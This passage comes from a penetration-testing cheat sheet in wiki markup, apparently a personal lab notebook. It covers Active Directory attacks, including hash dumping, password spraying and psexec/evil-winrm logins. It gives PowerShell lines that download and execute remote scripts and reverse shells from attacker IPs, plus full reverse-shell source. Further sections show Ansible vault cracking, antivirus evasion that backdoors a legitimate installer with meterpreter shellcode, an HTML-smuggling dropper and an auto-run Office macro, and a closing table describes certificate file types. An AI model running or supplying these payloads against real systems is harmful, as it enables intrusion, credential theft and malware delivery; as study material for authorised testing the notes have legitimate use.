&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
